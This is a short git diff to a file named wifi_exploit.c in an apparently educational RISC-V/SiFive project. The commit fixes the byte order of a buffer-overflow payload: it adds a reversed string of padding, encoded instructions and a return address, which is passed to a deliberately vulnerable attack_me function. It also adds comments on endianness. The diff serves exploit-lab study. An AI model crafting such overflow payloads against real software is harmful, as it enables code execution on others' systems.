correct endianess

sifive_software/src/wifi_exploit.c

@@ -100,6 +100,7 @@ char *attack_me(char *data, uint32_t data_len) {
  * 0x80000f37
  * 0x1f
  * 0x0
+ * H=6C6C6148 Hall
  */
 
 int main(void) {
@@ -116,7 +117,11 @@ int main(void) {
     //char *attack = "a12342234324452346234723482349234HAHA\x80\x12\x01\x20\xca\x13\x01\x20";
     													//buffer address
 /*
+ * RISC SPEICHER:
+ * MSB  LSB
+ * 6C6C6148 = 'Hall' | 6c =108 = l
 http://csci206sp2020.courses.bucknell.edu/files/2020/01/riscv-card.pdf
+lsb		MSB
 0 ...... 31
 Lui a5,0x80001
 0110 1110 0001 1111 0011 1000 1000 0001
@@ -162,7 +167,8 @@ the new return address:
 
 */
     char *attack = "a0aaa1aaa2aaa3aaa\x6e\x1f\x38\x81\x06\xe4\xea\xa1\x26\xa0\xe0\x01\xde\x01\x13\xca\x12\x23\x34\x45\x50\x0f\x00\x80";
-    char *result = attack_me(attack, 26);
+    char *revattack = "a0aaa1aaa2aaa3aaa\x81\x38\x1f\x6e\xa1\xea\xe4\x06\x01\xe0\xa0\x26\xca\x13\x01\xde\x45\x34\x23\x12\x58\x0f\x00\x80";
+    char *result = attack_me(revattack, 26);
 
     printf("%s", result);
 
@@ -182,4 +188,3 @@ the new return address:
 
     return 0;
 }
-